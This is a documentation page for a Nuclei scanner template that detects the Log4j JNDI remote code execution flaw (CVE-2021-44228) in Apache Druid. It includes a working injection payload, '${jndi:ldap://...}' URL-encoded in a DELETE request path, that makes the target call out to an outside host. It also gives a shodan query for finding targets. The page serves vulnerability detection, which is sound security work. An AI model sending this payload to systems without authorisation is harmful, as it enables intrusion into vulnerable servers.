Apache Druid - Remote Code Execution (Apache Log4j)
ID: apache-druid-log4j
Severity: critical
Author: SleepingBag945
Tags: cve,cve2021,rce,jndi,log4j,apache,druid,oast
Description
Section titled “Description”Apache Druid is vulnerable to RCE due to Log4j.
YAML Source
Section titled “YAML Source”id: apache-druid-log4j
info: name: Apache Druid - Remote Code Execution (Apache Log4j) author: SleepingBag945 severity: critical description: Apache Druid is vulnerable to RCE due to Log4j. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2021-44228 cwe-id: CWE-502 cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 shodan-query: title:"Apache Druid" product: druid vendor: apache tags: cve,cve2021,rce,jndi,log4j,apache,druid,oast
http: - method: DELETE path: - "{{BaseURL}}/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2f{{interactsh-url}}%2ftea%7d"
matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns"
- type: word part: header words: - "application/json"
- type: status status: - 404# digest: 490a00463044022073ad4a0841fc50dcf08fa6bb89278c2d4fff6550f2de4b828a1f05f56c872e2202201dab25b8c44ec6598979137727b67cf82d97ade0868505560b37b0aac6de7adf:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/apache-druid-log4j.yaml"